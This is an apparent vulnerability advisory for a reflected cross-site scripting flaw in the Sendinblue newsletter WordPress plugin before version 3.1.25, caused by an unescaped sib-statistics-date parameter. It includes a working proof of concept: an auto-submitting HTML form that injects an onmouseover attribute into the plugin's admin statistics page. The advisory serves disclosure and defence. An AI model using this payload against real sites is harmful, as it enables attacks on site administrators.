Newsletter, SMTP, Email marketing and Subscribe forms by Sendinblue < 3.1.25 – Reflected XSS

The Newsletter, SMTP, Email marketing and Subscribe forms by Sendinblue WordPress plugin before 3.1.25 does not escape the sib-statistics-date parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting issue

Proof of Concept:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=sib_page_statistics" id="hack" method="POST">
      <input type="hidden" name="sib-statistics-date" value='2021 - 2021 - " onmouseover=alert(/XSS/) style=width:100%;height:3000px test="' />
      <input type="submit" value="Submit request" />
    </form>
  </body>

  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

Reference:

Comments

Leave a Reply

Your email address will not be published. Required fields are marked *